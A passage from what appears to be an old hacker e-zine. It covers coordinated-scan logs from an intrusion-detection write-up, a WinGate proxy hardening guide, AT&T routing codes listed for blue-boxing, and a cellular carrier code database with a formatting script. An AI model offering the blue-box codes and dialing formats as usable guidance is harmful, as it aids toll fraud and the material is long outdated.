357520157:357520157(0) win 242 06:01:43.831041 SourceB.10053 > TargetNetA.35.1.domain: S 3114347597:3114347597(0) win 242 06:01:48.950822 SourceB.10053 > TargetNetA.36.1.domain: S 3989749054:3989749054(0) win 242 06:01:54.071207 SourceB.10053 > TargetNetA.37.1.domain: S 104626974:104626974(0) win 242 06:01:59.190766 SourceB.10053 > TargetNetA.38.1.domain: S 3121137008:3121137008(0) win 242 06:49:55.793053 SourceB.10053 > TargetNetB.0.1.domain: S 3172885021:3172885021(0) win 242 06:50:00.433858 SourceB.10053 > TargetNetB.1.1.domain: S 4008039718:4008039718(0) win 242 06:50:05.578539 SourceB.10053 > TargetNetB.2.1.domain: S 3133502723:3133502723(0) win 242 06:06:19.492397 SourceB.10053 > TargetNetC.158.1.domain: S 3057098328:3057098328(0) win 242 06:15:35.877587 SourceB.10053 > TargetNetC.160.1.domain: S 3057098328:3057098328(0) win 242 06:24:56.256924 SourceB.10053 > TargetNetC.162.1.domain: S 3057098328:3057098328(0) win 242 06:34:20.474591 SourceB.10053 > TargetNetC.164.1.domain: S 3057098328:3057098328(0) win 242 06:39:00.552359 SourceB.10053 > TargetNetC.165.1.domain: S 3057098328:3057098328(0) win 242 NOTE: This particular scan continued for two or three days at a very low hourly rate (except for the unusually high rate SourceB used against TargetNetA early on, although this could have been an attempt to mask SourceA's scan, or just a misconfiguration). Only a fraction of the data is shown here to give a feel for the type of coordinated signature we are detecting. Both SourceA and SourceB started the scans within minutes of each other, and ended their scans within hours of each other. =============================== CONCLUSION: The examples shown above represent a change in the kinds of attacks and probes we track. Previously it has been common for a single attacker to target multiple sites. Now we see indications of multiple attackers working together to target either single sites or multiple sites. We assert that these techniques are starting to be widely used and that the attacker community is likely to continue using these new techniques for the forseeable future. It is imperative that intrusion detection tools, techniques, and tracking databases be developed or modified to detect and respond to this new threat. --------------------------------------------------------------------------- Securing your Winate Installation----------[enema] Internet security and WinGate There has been increasing amounts of press and publicity concerning unauthorized use of proxy/firewalls to perform illicit activities which may be attributable to a firewall user. A number of these instances have involved the use of WinGate. This page is an information source to tell users of the issues, and how they can defend themselves against abuse of their systems. Why should I do anything? There are unfortunately people out there who spend a great deal of time looking for a way to bypass security measures used increasingly by ISPs to thwart spammers - people who send large volumes of unsolicited mail to large numbers of email addresses. One way to bypass ISP security for sending mail is to appear to be a valid ISP client. This can be done through proxy software such as WinGate, if it is not securely configured. So. In general, in order to stop people doing things that may be attributed to you, which could result in things like you getting your account shut down, you should ensure that your proxy server installation is secure from unauthorized use. How do I do it? There are a number of methods of securing WinGate, which should not take you longer than a couple of minutes to implement. There are two main ways to secure access. 1.Logically, by rule. This involves setting up rules as to who may or may not do certain things in the wingate. 2.Physically. By binding a service to a specific interface (see below), that service is simply not available from any other interface, so by binding a service to your LAN adapter, you can easily block all access from the Internet. You may also choose a mixture of these two methods, depending on your requirements for access. Here are some examples of some typical ways of securing your access. Example: A small LAN using WinGate Lite or free version for net access. Not running any servers that need to be accessed from the internet. This is by far the most common scenario. Option 1 If all the services are using the default security arrangement as installed, then perform the following steps. 1.Open GateKeeper and log into WinGate as Administrator. 2.Double click on Policies, and double click on "Default Policies" 3.Select the right "Users can access services" 4.There will be one recipient there - "Everyone". Double click on this recipient. 5.Select the Location tab. 6.Select "Specify locations from where this recipient has rights" 7.Add the following IP addresses under Included locations: 127.0.0.1, and the first three numbers of your WinGate machine's network card followed by a .* - for example if your network card has IP address 192.168.0.1, then you would add 192.168.0.*. If you have more than one network card in the WinGate machine then add an entry for each one that will be requiring access to WinGate. 8.Hit OK, and remember to save changes. Now only your LAN users can access any service in WinGate. If some of your services are using their own rules rather than the global ones, you can perform this action for each recipient in those service-specific rules. Alternative method using option 2. Because the Lite version of WinGate cannot bind a service to more than one interface (WinGate 2.1 Pro can do it), in order to use option 2, of binding services, then you need to create a separate service for each interface you need to bind to. Minimum is 2 - the localhost interface, which is used for your second free user license, and the interface of your WinGate machine LAN card. For each LAN card in your machine you need to create another service and bind it to that LAN card IP address. To bind a service to an interface do the following: 1.Open GateKeeper and log into WinGate as Administrator. 2.Double click on "Services" in the right hand pane. 3.Double click on the service you want to modify. 4.The "General" tab you see in front of you has an option on it - "Bind to specific interface" - enable this option, and type in the address of the interface you are binding to. The interface address is the IP address of a LAN card in your WinGate machine, or 127.0.0.1 for the free user (localhost). Note - You cannot change the binding in the Remote Control Service in WinGate Lite. What if I am running a server behind WinGate that requires public access? We recommend that you do not run Telnet or SOCKS servers with public access. If you do, you will want to restrict what requests the server will perform. You could require users of these services to be authenticated if they connect from the internet. This will ensure no unauthorized use. Otherwise you can specify where a user can connect to, or at what times. For WWW, if say you are running a WWW server behind WinGate, you can stipulate that internet users can only connect to your internal WWW server, and internal users can connect out. General techniques and hints. This first question is "Do I really need to allow access to this service from the Internet, and Why?". Basically the reasons to require access from the internet are relatively few. 1.You may be running mail, WWW or other servers on your LAN that require access from the internet. 2.You may require field staff to telnet into your Unix server from the field. 3.You may have a requirement for some secure inter-office communication. If none of these apply, you need to seriously question why you would allow access from the internet to a service. There are ways and means to specify different access rights depending on where a user accesses WinGate from. You can either create duplicate services bound to the different interfaces with different policies per service, or you can do it with a single service, with location based policies. E.g. POP3 service using service specific rules. Create two recipients called everyone - the first one is restricted by location, and must connect from your LAN. The second can connect from anywhere, but is restricted by request - say only allow connections to certain servers or ports. More help is at hand. The help documentation that comes with WinGate has more information on security, and you can always find help in the users forum and the support list. --------------------------------------------------------------------------- [foneman]----AT&T/BOC ROUTING CODES The following is a list of routing codes used by AT&T and Bell Operating Companies (BOC) that you can blue box to. Most codes are used by dialing KP+NPA+XXX+ST where XXX= the code, except where noted. There are notes attached after this list. 000 - The Rate Quote System (RQS) (1) 001 - 005 Spare (2) 006 - 008 Reserved (3) 009 RQS 010 Reserved 011 International Origination Toll Center (IOTC) (15) 014 TWX Switching Plan (Canada) (?) 015 - 071 Spare 072 - 079 Reserved 080 - 081 Spare 082 - 087 Reserved 088 Spare 089 Reserved 090 - 099 Spare 100 Plant Test - balance termination 101 Plant Test - test board 102 Plant Test - Milliwatt tone (1004 Hz) 103 Plant Test - signaling test termination 104 Plant Test - 2-way transmission and noise test 105 Plant Test - Automatic Transmission Measuring System / Remote Office Test Line (ROTL) 106 Plant Test - CCSA loop transmission test 107 Plant Test - par meter generator 108 Plant Test - CCSA loop echo support maintenance 109 Plant Test - echo canceler test line 110 - 119 Operator Codes 115 Operator Leave Word 116 Inward DA 120 Network Emergency Center (?) 121 Inward Operator (9) 122 AT&T Ready line INWATS (4) 123 - 130 Reserved 131 Directory Assistance 132 - 137 Reserved 138 IDDD for Equal Access (7) 139 - 140 Reserved 141 Rate and Route (10) 142 -147 Reserved 148 points not on an NPA - Hermosillo, Mexico (5) 149 Reserved 150 Cable Control (Satellite Avoidance) - Hawaii (5) 151 International Assistance 152 - 157 Reserved 158 Operator Assistance for Equal Access (7) 160 International Operator Center (IOC) (6) 161 Trunk Trouble Reporting 162 - 167 Reserved 168 points not on an NPA - Grenada 169 - 170 Reserved 171 points not on an NPA - Monterey, Mexico 172 points not on an NPA - Dominican Republic, Puerto Rico, Virgin Islands (Canada only) 173 Reserved 174 Cable Control (Satellite Avoidance) Caribbean 175 Reserved 176 points not on an NPA - Mexicali, Mexico 177 - 178 Reserved 179 points not on an NPA - Grenada 180 points not on an NPA - Mexico Numbers 181 Toll Station 182 International Switching Center (ISC) White Plains, 5 (14) 183 ISC New York, BW24 184 ISC Pittsburgh 185 ISC Atlanta OLT 186 ISC Sacramento 187 ISC Denver/Sherman Oaks (?) (15) 188 ISC New York, 5450 189 points not on an NPA - Mexico City, Mexico 190 points not on an NPA - Mexico Numbers 191 Conference loop around 191 AT&T Advanced 800 intercept recording frames (4) 192 Reserved 193 Cable Control (Satellite Avoidance) - Grenada 194 points not on an NPA - Tijuana, Mexico 195 AT&T Advanced 800 (4) 196 AT&T International 800 (4) 197 Reserved 198 AT&T International City Service Center (ICSC) 199 Cable Control (Satellite Avoidance) - Alaska 199 AT&T USA Direct (4) 4 or 5 digit codes (8) 1150,11501 Universal or Coin Callback 1151,11511 Conference Operator (11) 1152,11521 Mobile Service / Air-Ground 1153,11531 Marine Service (12) 1154,11541 Toll Terminal 1155,11551 Time and Charges callback 1156,11561 Hotel / Motel callback 1157,11571 IOTC access trunk 1158,11581 Inward- completion assistance (BOC) 1159,11591 Inward- busy line verification (BOC) 1160,11601 Calling Card Validation - dial pulse equipment (13) 1161,11611 Calling Card Validation - DTMF equipment 1162,11621 Calling Card Validation - MF equipment Notes: (1) The Rate Quote System is a voice response system used by operators to obtain routing information. The system, now being phased out, was used as an alternative to calling the Rate and Route operator. Operators would key-in required routing information and a synthesized voice would respond. Though the RQS is still operational, operators now obtain routing information from COMPIS (See note 10). KP+DD+ONPA+NXX+TNPA+NXX+ST to get the "rate step" for: DD = 00 Now DD = 01 Day Call (08:00-17:00) DD = 02 Evening Call (17:00-23:00) DD = 03 Night Call (23:00-08:00) KP+04+? Something with Mexico, unclear. KP+05+NPA+NXX+ST Gives the routing for a BOC inward (See note 9) KP+06+NPA+NXX+ST gives the routing for for an AT&T inward operator (See note 9) KP+07+XXXXXXX+ST Reads back the numbers you just typed KP+08+? Something with Enterprise and Zenith numbers, unclear. KP+09+NPA+NXX+ST Gives you the current time for the area and exchange just dialed. (2) When a code is marked spare, that means that there is no current or planned networkwide usage. It still may be utilized as a non-standard POTS exchange for WATS service by local companies. (3) When a code is marked reserved, it means that there may be planned networkwide usage. (4) This code is used by an AT&T custom service. It may be thought of as acting like a special area code and takes the following dialing format: KP+XXX+YYY+YYYY+ST where XXX is the code in question and Y can be any number 0-9. (5) All "points not on an NPA" and "Cable Control" function as pseudo area codes and are followed by a telephone number. (6) Calls to the IOC are dialled as follows: KP+160+CCC+ST CCC=Country Code (i.e. 044 or 144 for the UK). (7) These are special codes used with Equal Access. They are as follows: KP+138+PIC+ST then KP+CC+cc+xxxxx+ST KP+158+PIC+ST --------------------------------------------------------------------------- Cellular Carrier Codes----------[Herber] One listing was in alphabetical order by city name. The other listing was in numerical order by SID major and BID minor. I expect that there are errors in this data. I detected and corrected several typographical errors in my data entry and discovered several mismatches between the two listings. Please, send corrections and expansions to me by e-mail. The columns of this plain text database are separated by colon (:) characters. The columns are, from left to right: 1: the SID, system Identification number, (Note: odd numbers are "A" or non-wireline carriers; and, even numbers are "B" or wireline carriers.) 2: the BID, the billing identification number, or = if same as the SID, 3: a City in the area of the service (multiple cities may be listed), 4: the Postal Code for the State or Province of the City in column 3, (Note: BH was used for Bahamas.) 5: the telephone company name, 6: a customer service number for the area indicated by columns 3 and 4, 7: the clearing house that handles roamers' billing records. The data was presented in this form to reduce the size of the database for transmission. You may want to use the enclosed scripts and awk programs to format the database for easier viewing. Randolph J. Herber, @ home: {att|mcdchg|laidbak|obdient|uunet!tellab5|wheaton}!yclept!rjh, rjh@yclept.chi.il.us -------------------- Cut Here ---------------------- #!/bin/sh cat - <<\!EOF! >SIDS.sh #!/bin/sh # 1-SID:2-BID:3-City:4-State:5-Company:6-Service#:7-ClearingHouse cut -d: -f1,2,5,7 SIDS | \ sort -u -t: +2 -4 +0n -1 +1n -2 >SIDS.co.tmp awk -F: -f SIDS.f1.awk SIDS.co.tmp >SIDS.co.alf sort -t: +0n -1 +1n -2 +2 -4 SIDS.co.tmp | \ awk -F: -f SIDS.f1.awk >SIDS.co.num rm SIDS.co.tmp cut -d: -f1,2,3,4,5,6 SIDS | \ sort -u -t: +2 -4 +0n -1 +1n -2 | \ awk -F: -f SIDS.f2.awk >SIDS.city.alf cut -d: -f1,2,3,4,5,6 SIDS | \ sort -u -t: +3 -4 +2 -3 +0n -1 +1n -2 | \ awk -F: -f SIDS.f2.awk >SIDS.st.alf !EOF! cat - <<\!EOF! >SIDS.f1.awk {printf("%5.5s|%5.5s|%-26.26s|%s\n",$1,$2,$3,$4);} !EOF! cat - <<\!EOF! >SIDS.f2.awk {printf("%5.5s|%5.5s|%-18.18s|%2.2s|%-26.26s|%s\n",$1,$2,$3,$4,$5,$6);} !EOF! cat - <<\!EOF! >SIDS 1:=:Chicago:IL:Cellular One:800 235 5663:GTEDS 2:=:Los Angles:CA:Pactel Cellular:714 553 6100:GTEDS 2:=:Palm Springs:CA:Pactel Cellular:714 553 6100:GTEDS 3:=:Buffalo:NY:Buffalo Telephone Company:716 854 5076:BANK/IL 4:=:San Diego:CA:Pactel Cellular:619 535 6464:GTEDS 5:=:Milwaukee:WI:Cellular One:414 783 5500:APPEX 6:=:Seattle:WA:US West Cellular:800 626 6611:GTEDS 6:=:Tacoma:WA:US West Cellular:800 626 6611:GTEDS 7:=:Boston:MA:Cellular One:617 890 1555:(Boston) 8:=:Allentown:PA:Bell Atlantic Mobile:800 922 0204:GTEDS 8:=:Philadelphia:PA:Bell Atlantic Mobile:800 953 2200:GTEDS 8:=:Reading:PA:Bell Atlantic Mobile:800 922 0204:GTEDS 8:=:Trenton:NJ:Bell Atlantic Mobile:800 922 0204:GTEDS 8:=:Wilmington:DE:Bell Atlantic Mobile:800 922 0204:GTEDS 12:=:Beaumont:TX:GTE Mobile:800 347 5665:GTEDS 12:=:Bryan:TX:GTE Mobile:800 347 5665:GTEDS 12:=:College Station:TX:GTE Mobile:800 347 5665:GTEDS 12:=:Galveston:TX:GTE Mobile:800 347 5665:GTEDS 12:=:Houston:TX:GTE Mobile:800 347 5665:GTEDS 12:=:Port Arthur:TX:GTE Mobile:800 347 5665:GTEDS 13:=:Baltimore:MD:Cellular One:301 220 0060:(Baltimore) 13:=:Washington:DC:Cellular One:301 220 0060:(Baltimore) 15:=:Cleveland:OH:Cellular One:216 351 1414:Commonwealth 15:=:Elyria:OH:Cellular One:216 351 1414:Commonwealth 15:=:Lorain:OH:Cellular One:216 351 1414:Commonwealth 17:=:St. Louis:MO:Cybertel Cellular:314 423 6500:GTEDS 18:=:Alexandria:VA:Bell Atlantic Mobile:800 922 0204:GTEDS 18:=:Baltimore:MD:Bell Atlantic Mobile:800 922 0204:GTEDS 18:30016:Frederick:MD:Bell Atlantic Mobile::GTEDS 18:=:Silver Spring:MD:Bell Atlantic Mobile:800 922 0204:GTEDS 18:=:Washington:DC:Bell Atlantic Mobile:800 922 0204:GTEDS 19:=:Indianapolis:IN:Cellular One:317 252 5367:CBIS 20:=:Chicago:IL:Ameritech Mobile:800 221 0994:GTEDS 21:=:Detroit:MI:Cellular One:313 737 5123:APPEX 21:=:Flint:MI:Cellular One:313 239 6661:APPEX 21:=:Grand Rapids:MI:Cellular One:616 451 3523:APPEX 21:=:Lansing:MI:Cellular One:517 323 9462:APPEX 21:=:Lima:OH:Cellular One:419 234 1091:APPEX 21:=:Muskegon:WI:Cellular One:517 323 9492:APPEX 21:=:Saginaw:MI:Cellular One:517 323 9462:APPEX 21:=:Toledo:OH:Cellular One:419 243 1091:APPEX 22:=:Brooklyn:NY:Nynex Mobile Com:800 227 1069:Nynex 22:=:Congers:NY:Nynex Mobile Com:800 227 1069:Nynex 22:=:Freehold:NJ:Nynex Mobile Com:800 227 1069:Nynex 22:=:Hackensack:NJ:Nynex Mobile Com:800 227 1069:Nynex 22:=:Madison:NJ:Nynex Mobile Com:800 227 1069:Nynex 22:=:Morristown:NJ:Nynex Mobile Com:800 227 1069:Nynex 22:=:Nassau County:NY:Nynex Mobile Com:800 227 1069:Nynex 22:=:New Brunswick:NJ:Nynex Mobile Com:800 227 1069:Nynex 22:=:Newark:NJ:Nynex Mobile Com:800 227 1069:Nynex 22:=:Paterson:NJ:Nynex Mobile Com:800 227 1069:Nynex 22:=:Pleasantville:NY:Nynex Mobile Com:800 227 1069:Nynex 22:=:Rahway:NY:Nynex Mobile Com:800 227 1069:Nynex 22:=:Suffolk County:NY:Nynex Mobile Com:800 227 1069:Nynex 22:=:White Plains:NY:Nynex Mobile Com:800 227 1069:Nynex 22:=:World Trade Center:NY:Nynex Mobile Com:800 227 1069:Nynex 23:=:Minneapolis:MN:Cellular One:612 867 2273:APPEX 24:=:Maimi:FL:Bell South Mobile:800 351 2400:GTEDS 24:=:West Palm Beach:FL:Bell South Mobile:305 577 4975:GTEDS 25:=:New York:NY:Metro One:201 587 8000:APPEX 26:=:Minneapolis:MN:US West Cellular:800 626 6611:GTEDS 27:=:Los Angles:CA:LA Cellular Telephone Co.:213 721 8722:APPEX 27:=:Oxnard:CA:Cellular One:805 987 0955:APPEX 28:=:Auburn:MA:Nynex Mobile Com::Nynex 28:=:Boston:MA:Nynex Mobile Com::Nynex 28:=:Brockton:MA:Nynex Mobile Com::Nynex 28:=:Framington:MA:Nynex Mobile Com::Nynex 28:=:Lawrence:MA:Nynex Mobile Com::Nynex 28:=:Lowell:MA:Nynex Mobile Com::Nynex 28:=:Lynn:MA:Nynex Mobile Com::Nynex 28:=:New Bedford:MA:Nynex Mobile Com::Nynex 28:=:Providence:RI:Nynex Mobile Com::Nynex 28:=:Worchester:MA:Nynex Mobile Com::Nynex 29:=:Philadelphia:PA:Metrophone:800 327 9666:APPEX 30:=:Portland:OR:GTE Mobile:800 366 5665:GTEDS 30:=:Salem:OR:GTE Mobile:800 366 5665:GTEDS 31:30015:Napa:CA:Cellular One:800 331 4322:APPEX 31:30017:Santa Cruz:CA:Cellular One:415 344 1999:GTEDS 31:=:Oakland:CA:Cellular One:415 344 1999:APPEX 31:=:San Francisco:CA:Cellular One:415 344 1999:GTEDS 31:=:San Jose:CA:Cellular One:415 344 1999:GTEDS 31:=:San Rosa:CA:Cellular One:800 331 4322:GTEDS 31:=:Vallejo:CA:Cellular One:800 331 4322:GTEDS 32:=:Pittsburgh:PA:Bell Atlantic Mobile:800 922 0204:GTEDS 32:30020:Altoona:PA:Bell Atlantic Mobile:814 944 3011:GTEDS 32:30022:Charleston:WV:Bell Atlantic Mobile:304 925 4000:GTEDS 32:30024:Huntington:WV:Bell Atlantic Mobile:304 525 4101:GTEDS 32:30026:Johnstown:PA:Bell Atlantic Mobile:814 467 5521:GTEDS 32:30030:Parkesburg:PA:Bell Atlantic Mobile:800 922 0204:GTEDS 32:30034:State College:PA:Bell Atlantic Mobile:814 231 3900:GTEDS 32:30032:Steubenville:OH:Bell Atlantic Mobile:614 282 6202:GTEDS 32:30032:Weirton:WV:Bell Atlantic Mobile:614 282 6202:GTEDS 32:30028:Wheeling:WV:Bell Atlantic Mobile:614 695 9611:GTEDS 33:=:Dallas:TX:Metrocell Cellular:214 263 4921:APPEX 33:=:Ft. Worth:TX:Metrocell Cellular:214 263 4921:APPEX 33:=:Denton:TX:Metrocell Cellular:214 263 4921:APPEX 34:=:Athens:GA:Bell South Mobile:800 351 2400:GTEDS 34:=:Atlanta:GA:Bell South Mobile:800 351 2400:GTEDS 35:=:Houston:TX:Houston Cellular Telephone:713 688 8020:APPEX 36:=:New Orleans:LA:Bell South Mobile:800 351 2400:GTEDS 37:=:Ft. Lauderdale:FL:McCaw Cellular:407 655 1948:APPEX 37:=:Maimi:FL:Cellular One:305 792 2355:APPEX 37:=:Stuart:FL:Cellular One:407 833 1111:APPEX 37:=:West Palm Beach:FL:Cellular One:407 833 1111:APPEX 38:=:Ft. Worth:TX:Southwestern Bell Mobile:800 331 0500:GTEDS 38:=:Dallas:TX:Southwestern Bell Mobile:800 331 0500:GTEDS 38:=:Denison:TX:Southwestern Bell Mobile:800 331 0500:GTEDS 38:=:Sherman:TX:Southwestern Bell Mobile:800 331 0500:GTEDS 39:=:Johnstown:PA:Cellular One:814 242 0100:APPEX 39:=:Pittsburgh:PA:Cellular One:412 471 3922:APPEX 39:30059:Wheeling:WV:Cellular One:304 281 0100:APPEX 40:=:Salinas:CA:GTE Mobile:800 366 5665:GTEDS 40:=:San Francisco:CA:GTE Mobile:800 366 5665:GTEDS 40:=:San Jose:CA:GTE Mobile:800 366 5665:GTEDS 40:=:San Rosa:CA:GTE Mobile:800 366 5665:GTEDS 40:30002:Santa Barbara:CA:GTE Mobile:800 366 5665:GTEDS 41:=:Athens:GA:Pactel Cellular:404 449 3900:GTEDS 41:=:Atlanta:GA:Pactel Cellular:404 449 3900:GTEDS 42:=:Brandenton:FL:GTE Mobile:813 221 1662:GTEDS 42:=:Ft. Meyers:FL:GTE Mobile:800 877 5665:GTEDS 42:=:Lakeland:FL:GTE Mobile:800 877 5665:GTEDS 42:=:Sarasota:FL:GTE Mobile:800 877 5665:GTEDS 42:=:Tampa:FL:GTE Mobile:800 877 5665:GTEDS 42:=:Venice:FL:GTE Mobile:800 877 5665:GTEDS 42:=:Winter Haven:FL:GTE Mobile:800 877 5665:GTEDS 43:=:San Diego:CA:US West Cellular:800 626 6611:GTEDS 45:=:Colorado Springs:CO:Cellular One:303 831 1200:APPEX 45:=:Denver:CO:Cellular One:303 831 1200:APPEX 45:=:Ft. Collins:CO:Cellular One:303 831 1200:APPEX 45:=:Greely:CO:Cellular One:303 831 1200:APPEX 46:=:St. Louis:MO:Southwestern Bell Mobile:314 542 9999:GTEDS 47:=:Bellingham:WA:Cellular One:206 285 2273:APPEX 47:=:Bremerton:WA:Cellular One:206 285 2273:APPEX 47:=:Olympia:WA:Cellular One:206 285 2273:APPEX 47:=:Seattle:WA:Cellular One:206 285 2273:APPEX 47:=:Tacoma:WA:Cellular One:206 285 2273:APPEX 48:=:Phoenix:AZ:US West Cellular:800 626 6611:GTEDS 51:=:Cincinnati:OH:Cellular One:513 733 5515:Commonwealth 51:=:Hamilton:OH:Cellular One:513 733 5515:Commonwealth 52:=:Kansas City:KS:Southwestern Bell Mobile:913 894 1600:GTEDS 52:=:Kansas City:MO:Southwestern Bell Mobile:913 894 1600:GTEDS 52:=:Lawrence:KS:Southwestern Bell Mobile:913 894 1600:GTEDS 52:=:St. Joseph:MO:Southwestern Bell Mobile:913 894 1600:GTEDS 52:=:Topeka:KS:Southwestern Bell Mobile:913 894 1600:GTEDS 53:=:Phoenix:AZ:Metro Mobile:602 731 6000:APPEX 53:30053:Tuscon:AZ:Metro Mobile:602 628 9541:APPEX 54:=:Akron:OH:GTE Mobile:800 669 5665:GTEDS 54:=:Canton:OH:GTE Mobile:800 669 5665:GTEDS 54:=:Cleveland:OH:GTE Mobile:800 669 5665:GTEDS 54:=:Elyria:OH:GTE Mobile:800 669 5665:GTEDS 54:=:Erie:PA:GTE Mobile:800 669 5665:GTEDS 54:=:Lorain:OH:GTE Mobile:800 669 5665:GTEDS 56:=:Buffalo:NY:Nynex Mobile Com::Nynex 57:=:New Orleans:LA:Cellular One:504 830 5400:GTEDS 58:=:Denver:CO:US West Cellular:800 626 6611:GTEDS 59:30057:Kansas City:KS:Cellular One:913 432 3141:APPEX 59:30057:Kansas City:MO:Cellular One:913 432 3141:APPEX 59:=:Lawrence:KS:Cellular One:913 842 0577:APPEX 59:=:Topeka:KS:Cellular One:913 234 4984:APPEX 60:=:Honolulu:HI:GTE Mobile:808 941 9934:GTEDS 61:=:Eugene:OR:Cellular One:503 345 1818:APPEX 61:=:Medford:OR:Cellular One:503 944 5555:APPEX 61:=:Portland:OR:Cellular One:503 228 1717:APPEX 61:=:Salem:OR:Cellular One:503 364 3335:APPEX 62:=:Memphis:TN:Bell South Mobile:800 351 2400:GTEDS 63:=:Albany:NY:Cellular One:518 465 7300:BANK/IL 64:=:Las Vegas:NV:Centel Cellular:702 365 6500:GTEDS 65:=:Louisville:KY:Cellular One:502 582 2355:APPEX 68:=:Orlando:FL:Bell South Mobile:305 577 4975:GTEDS 69:=:Durham:NC:Cellular One:919 481 1181:GTEDS 69:=:Raleigh:NC:Cellular One:919 481 1181:GTEDS 70:=:Wichita:KS:Southwestern Bell Mobile:316 687 2355:GTEDS 71:=:Richmond:VA:Cellular One:804 288 3805:GTEDS 73:=:Akron:OH:Cellular One:216 867 3900:Commonwealth 73:=:Canton:OH:Cellular One:216 867 3900:Commonwealth 74:=:Bristol:TX:Centel Cellular::GTEDS 74:=:Johnson City:TN:Centel Cellular::GTEDS 74:=:Kingsport:TN:Centel Cellular::GTEDS 75:=:Jacksonville:FL:Cellular One:904 731 2355:APPEX 76:=:Louisville:KY:Bell South Mobile:800 351 2400:GTEDS 77:=:Syracuse:NY:Cellular One:315 446 0400:Cell-T 78:=:Albany:NY:Nynex Mobile Com::Nynex 79:=:Albuquerque:NM:Metro Mobile:505 266 9000:APPEX 80:=:Anderson:IN:GTE Mobile:800 669 3001:GTEDS 80:=:Bloomington:IN:GTE Mobile:800 669 3001:GTEDS 80:=:Ft. Wayne:IN:GTE Mobile:800 669 3001:GTEDS 80:=:Indianapolis:IN:GTE Mobile:800 669 3001:GTEDS 80:=:Kokomo:IN:GTE Mobile:800 669 3001:GTEDS 80:=:Lafayette:IN:GTE Mobile:800 669 3001:GTEDS 80:=:Muncie:IN:GTE Mobile:800 669 3001:GTEDS 80:=:Terre Haute:IN:GTE Mobile:800 669 3001:GTEDS 81:=:Mobile:AL:Gulf Coast Cellular:205 343 9700:Cell-T 83:=:Newport News:VA:Centel Cellular:804 473 9600:GTEDS 83:=:Norfolk:VA:Centel Cellular:804 473 9600:GTEDS 83:=:Virginia Beach:VA:Centel Cellular:804 473 9600:GTEDS 84:=:Aiken:GA:Cellular Phone of:404 738 2355:GTEDS 84:=:Augusta:GA:Cellular Phone of:404 738 2355:GTEDS 85:=:Baton Rouge:LA:Cellular One:504 291 9703:GTEDS 86:=:Syracuse:NY:Nynex Mobile Com::Nynex 88:=:SNET:CT:SNET Cellular:203 553 7594:GTEDS 88:30006:Springfield:MA:SNET Cellular:203 553 7594:GTEDS 89:=:Sharon:PA:Cellular One:412 866 5000:APPEX 89:=:Warren:OH:Cellular One:216 565 5000:APPEX 89:=:Youngstown:OH:Cellular One:216 565 5000:APPEX 91:=:Provo:UT:Cellular One:801 359 2273:APPEX 91:=:Salt Lake City:UT:Cellular One:801 359 2273:APPEX 92:=:El Paso:TX:Contel Cellular:800 792 8400:GTEDS 92:=:Las Cruces:NM:Contel Cellular:800 792 8400:GTEDS 93:=:Knoxville:TN:Cellular One:615 584 2355:APPEX 94:=:Salt Lake City:UT:US West Cellular:800 626 6611:GTEDS 95:=:Greensboro:NC:Cellular One:919 668 3600:GTEDS 96:=:Harrisburg:PA:Centel Cellular:717 545 3300:GTEDS 96:=:Lancaster:PA:Centel Cellular:717 545 3300:GTEDS 96:=:York:PA:Centel Cellular:717 545 3300:GTEDS 97:30097:El Paso:TX:Metro Mobile:915 532 5559:APPEX 97:30097:Las Cruces:NM:Metro Mobile:505 526 2233:APPEX 98:=:Anniston:AL:Bell South Mobile:800 351 2400:GTEDS 98:=:Birmingham:AL:Bell South Mobile:800 351 2400:GTEDS 98:=:Tuscaloosa:AL:Bell South Mobile:800 351 2400:GTEDS 100:=:Fayetteville:NC:Centel Cellular:919 833 7494:GTEDS 103:=:Allentown:PA:Cellular One:215 434 2355:GTEDS 103:30023:Reading:PA:Cellular One:215 434 2355:GTEDS 103:=:York:PA:Cellular One:717 579 2355:GTEDS 104:=:Knoxville:TN:US Cellular:615 584 9500:GTEDS 105:=:NE PA:PA:Cellular One:717 434 2355:GTEDS 106:=:Baton Rouge:LA:Bell South Mobile:800 351 2400:GTEDS 107:=:Austin:TX:Cellular One:512 388 6777:APPEX 110:=:Albuquerque:NM:US West Cellular:800 626 6611:GTEDS 111:=:Tulsa:OK:Cellular One:918 584 7722:APPEX 112:=:Sacramemto:CA:Pactel Cellular:916 520 0645:GTEDS 113:30043:Anniston:AL:Cellular One:205 942 2355:APPEX 113:=:Birmingham:AL:Cellular One:205 942 2355:APPEX 113:30025:Florence:AL:Cellular One:205 942 2355:APPEX 113:30029:Gadsden:AL:Cellular One:205 942 2355:APPEX 114:=:Charlotte:NC:Alltel Mobile:704 529 0001:GTEDS 116:=:Anderson:SC:Centel Cellular:803 297 8860:GTEDS 116:=:Greenville:SC:Centel Cellular:803 297 8860:GTEDS 116:=:Spartanburg:SC:Centel Cellular:803 297 8860:GTEDS 117:=:Rochester:NY:Genesse Telephone:716 232 6600:BANK/IL 118:=:Clarksville:TN:Bell South Mobile:800 351 2400:GTEDS 118:=:Nashville:TN:Bell South Mobile:800 351 2400:GTEDS 119:=:Bridgeport:CT:Metro Mobile:203 852 9292:APPEX 119:=:Danbury:CT:Metro Mobile:203 852 9292:APPEX 119:30119:Fairfield County:CT:Metro Mobile:203 852 9292:APPEX 119:=:Hartford:CT:Metro Mobile:203 688 3737:APPEX 119:=:New Bedford:MA:Metro Mobile:401 272 3800:APPEX 119:=:New Haven:CT:Metro Mobile:203 852 9292:APPEX 119:=:North Bedford:CT:Metro Mobile:203 852 9292:APPEX 119:=:Norwalk:CT:Metro Mobile:203 852 9292:APPEX 119:=:Norwich:CT:Metro Mobile:203 688 3737:APPEX 119:=:Pittsfield:MA:Metro Mobile:203 688 3737:APPEX 119:=:Providence:RI:Metro Mobile:401 272 3800:APPEX 119:31119:Springfield:MA:Metro Mobile:203 688 3737:APPEX 119:=:Waterbury:CT:Metro Mobile:203 852 9292:APPEX 120:=:Mobile:AL:Contel Cellular:800 792 8400:GTEDS 120:=:Pensacola:FL:Contel Cellular:800 792 8400:GTEDS 122:=:San Antonio:TX:Southwestern Bell Mobile:512 646 9955:GTEDS 123:=:Wilmington:DE:Cellular One:302 737 3333:APPEX 126:=:Sharon:PA:Centel Cellular:216 758 4502:GTEDS 126:=:Warren:OH:Centel Cellular:216 758 4502:GTEDS 126:=:Youngstown:OH:Centel Cellular:216 758 4502:GTEDS 127:=:Charleston:SC:Cellular One:803 763 6363:GTEDS 129:=:Sacramemto:CA:Cellular One:916 923 2400:APPEX 129:=:Yuba City:CA:Cellular One:916 923 2400:APPEX 130:=:Toledo:OH:Centel Cellular:419 893 1077:GTEDS 131:=:Abilene:TX:Cellular One::GTEDS 133:=:Columbus:OH:Cellular One:614 846 